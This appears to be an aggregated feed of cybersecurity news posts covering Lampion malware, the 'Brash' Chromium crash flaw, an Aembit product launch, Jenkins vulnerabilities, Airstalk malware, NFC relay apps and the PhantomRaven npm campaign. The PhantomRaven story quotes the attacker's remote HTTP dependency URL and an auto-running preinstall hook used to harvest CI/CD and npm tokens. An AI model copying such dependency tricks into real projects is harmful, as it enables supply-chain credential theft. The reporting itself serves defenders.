1010.cx

  • Lampion Stealer Resurfaces with ClickFix Attack to Steal User Credentials Stealthily

    ·

    , ,

    A Brazilian cybercriminal group has refined its long-running malware distribution campaign by incorporating innovative social engineering techniques and multi-stage infection chains to deliver the Lampion banking trojan. The campaign, which has operated continuously since at least June 2024 following its initial discovery in 2019, demonstrates the threat actor’s commitment to operational stealth and evasion. The […]

    The post Lampion Stealer Resurfaces with ClickFix Attack to Steal User Credentials Stealthily appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Critical Vulnerability in Chromium’s Blink Let Attackers Crash Chromium-based Browsers Within Seconds

    ·

    , , , ,

    Security researcher Jofpin has disclosed “Brash,” a critical flaw in Google’s Blink rendering engine that enables attackers to crash Chromium-based browsers almost instantly.

    Affecting billions of users worldwide, this architectural weakness exploits unchecked updates to the document.title API, overwhelming the browser’s main thread and triggering system-wide denial of service without sophisticated tools or privileges.

    The vulnerability stems from Blink’s lack of rate limiting on title changes, allowing malicious JavaScript to flood the DOM with millions of mutations per second.

    As detailed in Jofpin’s proof-of-concept on GitHub, the attack unfolds in three phases: pre-generating high-entropy strings to avoid CPU overhead, injecting bursts of up to 24 million updates, and saturating the UI thread until collapse.

    Browsers freeze within 15 to 60 seconds, spiking CPU usage to extremes that degrade overall system performance and halt concurrent processes.

    Tested versions up to Chromium 143.0.7483.0 remain vulnerable, including Chrome, Edge, Opera, Brave, and Vivaldi on desktop, Android, and embedded devices.

    Widespread Impact On Chromium Ecosystem

    Brash’s reach is staggering, potentially exposing over 3 billion internet users to disruption since Chromium powers the majority of browsers.

    On macOS, Windows, and Linux, Chrome crashes in 15-30 seconds under extreme settings, while slower variants like Brave take up to two minutes.

    BrowserCrash Time
    Chrome15-30 seconds
    Edge15-25 seconds
    Vivaldi15-30 seconds
    Arc Browser15-30 seconds
    Dia Browser15-30 seconds
    Opera~60 seconds
    Perplexity Comet15-35 seconds
    ChatGPT Atlas15-60 seconds
    Brave30-125 seconds

    Non-Chromium browsers escape unscathed: Firefox’s Gecko engine and Safari’s WebKit prove immune, as does iOS’s enforced WebKit policy, which bars native Chromium apps.

    The exploit’s simplicity amplifies its threat. A live demo at brash.run simulates the attack invisibly, while local PoCs let users tweak intensity moderate for observation, extreme for rapid failure.

    Code snippets enable easy integration, with options for delayed or scheduled triggers, turning benign pages into timed bombs.

    Attackers could weaponize Brash in devastating ways. Time-delayed payloads lurk in phishing links, activating during high-stakes moments like stock trades or meetings, evading quick scans.

    In AI-driven enterprises, it poisons headless browsers used for web scraping, paralyzing automated trading or compliance checks.

    More alarmingly, scenarios envision life-threatening chaos: a surgeon’s web-assisted procedure derailed mid-operation, or a flash crash on Wall Street as traders’ terminals fail en masse during market open.

    Banking fraud teams, too, face paralysis, allowing millions in unchecked transactions during peak volumes like Black Friday.

    Jofpin emphasizes this as a design oversight, not a mere bug, urging Chromium developers to implement throttling. As the exploit remains operational until patched, users should exercise caution with untrusted sites.

    Google has yet to respond publicly, but the disclosure highlights the need for robust safeguards in core web tech.

    In an era of browser-dependent operations from finance to healthcare, such flaws underscore the web’s precarious balance between openness and security.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Critical Vulnerability in Chromium’s Blink Let Attackers Crash Chromium-based Browsers Within Seconds appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Critical Blink Vulnerability Lets Attackers Crash Chromium Browsers in Seconds

    ·

    , , , ,

    Security researchers have discovered a critical architectural flaw in the Blink rendering engine that powers Chromium-based browsers, exposing over 3 billion users to denial-of-service attacks. The vulnerability, called Brash, allows malicious actors to completely crash Chrome, Edge, Brave, Opera, and other Chromium browsers within 15 to 60 seconds through a simple code injection. The attack exploits […]

    The post Critical Blink Vulnerability Lets Attackers Crash Chromium Browsers in Seconds appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Aembit Introduces Identity and Access Management for Agentic AI

    ·

    Silver Spring, USA/ Maryland, October 30th, 2025, CyberNewsWire

    • The new capabilities, anchored by Blended Identity and the MCP Identity Gateway, give enterprises a secure and auditable way to manage how AI agents identify themselves and access sensitive systems.

    Aembit today announced the launch of Aembit Identity and Access Management (IAM) for Agentic AI, a set of capabilities that help organizations safely provide and enforce access policies for AI agents as they move into production.

    The release introduces Blended Identity, which defines how AI agents act on behalf of verified users, and the MCP Identity Gateway, which ensures secure access to enterprise resources based on identity, access policy, and runtime attributes.

    The new offering extends the Aembit Workload IAM Platform to address one of the most pressing operational questions in artificial intelligence and modern IT: how to control what autonomous and user-driven AI agents can access, under what conditions, and with what accountability.

    AI agents are rapidly becoming a key part of enterprise operations.

    Nearly half of technology executives say they are already adopting or fully deploying agentic AI, and about the same share expect most of their AI deployments to be autonomous within two years, according to an EY survey.

    These agents retrieve sensitive data, open tickets, and execute code across cloud, on-premises, and SaaS environments.

    Yet most access models were built for people, not self-directed software. Many still rely on static secrets and shared credentials, creating risk and obscuring accountability.

    Worse yet, agents’ actions are often hidden behind the identity of a human, making it almost impossible to audit the actions each actor has taken. The result is a widening gap between the pace of AI adoption and the ability of organizations to secure it with confidence.

    Aembit IAM for Agentic AI assigns each agent a cryptographically verified identity, issues ephemeral credentials, and enforces policy at runtime.

    The system records every access decision and maintains attribution across both human-driven and autonomous agent activity.

    By bringing agent activity under the same centralized policy control plane that governs other workloads, Aembit enables enterprises to deploy AI at scale while maintaining control, auditability, and compliance.

    “Enterprises want to say yes to agentic AI, and they’re asking Aembit for ways to securely grant agents access to data and applications,” said David Goldschlag, co-founder and CEO of Aembit.

    “Aembit IAM for Agentic AI gives enterprises the same level of control and audit over agent access that IAM systems have long provided for employees. Our approach enables organizations to advance their AI initiatives without expanding their threat and risk surface.”

    The release introduces two core capabilities to the Aembit Workload IAM Platform:

    • Blended Identity, which gives every AI agent its own verified identity and, when needed, binds it to the human it represents. This establishes a single, traceable identity for each agent action and allows Aembit to issue a secure credential that reflects that combined context.
    • MCP Identity Gateway, which receives that identity credential and controls how agents connect to tools through the Model Context Protocol (MCP). The gateway authenticates the agent, enforces policy, and performs token exchange to securely retrieve the necessary access permissions for each connected resource – without ever exposing them to the agent runtime.

    Together, this functionality allows enterprises to apply least-privilege access, revoke permissions immediately when needed, and ensure that every AI action is attributable and auditable.

    They operate on Aembit’s established Workload IAM foundation, which enforces policy dynamically at runtime, issues ephemeral credentials just in time, and records structured events for full traceability.

    Aembit developed IAM for Agentic AI through collaboration with large businesses, government organizations, and innovative agentic AI startups deploying AI for operational and security workloads.

    Those efforts helped shape an approach that combines enterprise enforcement with the adaptability AI projects demand.

    “AI agents don’t live inside one stack or trust domain,” said Kevin Sapp, co-founder and CTO of Aembit. “They move between hybrid environments in seconds.

    With Aembit, every agent carries a verified identity that our gateway can authenticate and control in real time. It’s how enterprises can give agents the access they need to work, while never losing sight of who they are or what they touch.”

    Aembit IAM for Agentic AI is now available to customers using its Workload IAM Platform. Organizations can learn more, request a demo, or get started today at aembit.io.

    About Aembit

    Aembit is the identity and access management platform for agentic AI and workloads. It enforces access based on identity, context, and centrally managed policies, giving organizations a singular place to control access risk from AI agents, automate credential management, and accelerate AI adoption.

    With Aembit, enterprises can confidently control access to sensitive resources across all the workloads that power their business.

    Contact

    Apurva Dave

    Aembit

    info@aembit.io

    The post Aembit Introduces Identity and Access Management for Agentic AI appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Aembit Introduces Identity and Access Management for Agentic AI

    ·

    Silver Spring, USA/ Maryland, October 30th, 2025, CyberNewsWire Aembit today announced the launch of Aembit Identity and Access Management (IAM) for Agentic AI, a set of capabilities that help organizations safely provide and enforce access policies for AI agents as they move into production. The release introduces Blended Identity, which defines how AI agents act […]

    The post Aembit Introduces Identity and Access Management for Agentic AI appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Jenkins Flaws Expose SAML Authentication Bypass and MCP Server Plugin Weaknesses

    ·

    , , , ,

    Jenkins automation server users face critical security threats following the disclosure of 14 distinct vulnerabilities spanning multiple plugins. The security advisory reveals a widespread pattern of authentication bypass mechanisms, missing permission enforcement, and credential exposure issues that collectively put enterprise CI/CD infrastructure at serious risk. SAML Authentication Bypass Threatens User Sessions The most critical flaw […]

    The post Jenkins Flaws Expose SAML Authentication Bypass and MCP Server Plugin Weaknesses appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Airstalk Malware: Multi-Threaded C2 Steals Windows Logins

    ·

    , , ,

    Cybersecurity researchers have uncovered a sophisticated Windows malware family dubbed Airstalk, which leverages legitimate mobile device management infrastructure to establish covert command-and-control communications and exfiltrate sensitive browser credentials. The malware, available in both PowerShell and .NET variants, has been linked with medium confidence to a nation-state threat actor operating through a likely supply chain attack […]

    The post Airstalk Malware: Multi-Threaded C2 Steals Windows Logins appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The Death of the Security Checkbox: BAS Is the Power Behind Real Defense

    ·

    Security doesn’t fail at the point of breach. It fails at the point of impact.  That line set the tone for this year’s Picus Breach and Simulation (BAS) Summit, where researchers, practitioners, and CISOs all echoed the same theme: cyber defense is no longer about prediction. It’s about proof. When a new exploit drops, scanners scour the internet in minutes. Once attackers gain a foothold,

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • NFC Relay Attack: 700+ Android Apps Harvest Banking Login Details

    ·

    , ,

    A sophisticated cybercrime campaign leveraging Near Field Communication technology has exploded across multiple continents, with researchers at zLabs identifying over 760 malicious Android applications designed to steal banking credentials and facilitate fraudulent transactions. What initially appeared as isolated incidents in April 2024 has evolved into a large-scale threat operation targeting financial institutions across Russia, Poland, […]

    The post NFC Relay Attack: 700+ Android Apps Harvest Banking Login Details appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • PhantomRaven Attack Involves 126 Malicious npm Packages with Over 86,000 Downloads Hiding Malicious Code

    ·

    , ,

    A sophisticated malware campaign targeting developers has been operating since August 2025, deploying 126 malicious npm packages that have collectively accumulated over 86,000 downloads.

    The attack, now identified as PhantomRaven, has been actively harvesting npm authentication tokens, GitHub credentials, and CI/CD pipeline secrets from developers across the globe while employing advanced detection evasion techniques that bypass most security tools.

    Koi analysts identified the campaign in October 2025 when their behavioral monitoring system, Wings, flagged suspicious network activity during package installation processes.

    All malicious packages were making external requests to the same suspicious domain, revealing a coordinated operation.

    The investigation by Koi researchers uncovered a staggering timeline: 21 packages were initially detected and removed in August 2025, but attackers adapted their approach, successfully deploying 80 additional packages between September and October that evaded detection mechanisms entirely.

    The attacker’s infrastructure demonstrates an interesting contrast between sophisticated technical execution and surprisingly careless operational security.

    Sequential email accounts from free providers like jpdtester01@hotmail.com through jpdtester13@gmail.com, combined with obvious usernames such as npmhell and npmpackagejpd, all clearly trace back to a single threat actor.

    Despite this operational sloppiness, the technical delivery mechanism represents a genuine innovation in supply chain attacks.

    The malicious packages appeared completely benign when reviewed on npmjs.com, displaying simple hello world scripts with seemingly zero dependencies.

    The npm UI shows 0 dependencies (Source – Koi)

    This illusion was achieved through a technique involving Remote Dynamic Dependencies, where HTTP URLs serve as dependency specifiers rather than traditional npm registry references.

    The malicious code resided not in the reviewed package but in an invisible dependency fetched from packages.storeartifact.com at installation time, completely bypassing static analysis and dependency scanning tools.

    Remote Dynamic Dependencies Deliver the Payload

    Traditional npm dependencies reference packages hosted on npmjs.com using standard version specifiers like "express": "^4.18.0".

    However, npm supports an obscure feature allowing HTTP URLs as dependency specifiers, formatted as "ui-styles-pkg": "http://packages.storeartifact.com/ui-styles-pkg.tgz".

    When developers install packages containing these remote dependencies, npm automatically fetches the external resources without any security validation or visibility.

    Security scanners and automated analysis tools never follow these HTTP-based dependencies, treating packages as having zero dependencies despite the hidden malicious payload.

    This creates a perfect blind spot where the reviewed package appears completely safe while the actual malicious code sits on attacker-controlled infrastructure.

    The technique becomes even more dangerous because every installation fetches the dependency fresh from the attacker’s server, enabling dynamic payload delivery based on the target environment.

    Once the invisible dependency arrives on the victim’s system, npm’s automatic lifecycle script execution ensures the malware activates immediately.

    The malicious package.json contains a preinstall script defined as "preinstall": "node index[.]js" that executes automatically without any user prompt or warning.

    This script runs regardless of how deeply nested the malicious package sits within the dependency tree, meaning developers who install seemingly legitimate packages can unknowingly trigger PhantomRaven’s execution through transitive dependencies.

    After successful installation, PhantomRaven systematically harvests email addresses from environment variables, .gitconfig files, .npmrc configurations, and package.json author fields.

    The malware then targets CI/CD credentials including GitHub Actions tokens, GitLab CI credentials, Jenkins authentication, CircleCI tokens, and npm publishing tokens.

    Complete system fingerprinting follows, collecting public IP addresses, hostnames, operating system details, Node.js versions, and network configurations to profile victim environments and identify high-value corporate networks versus individual developer machines.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post PhantomRaven Attack Involves 126 Malicious npm Packages with Over 86,000 Downloads Hiding Malicious Code appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶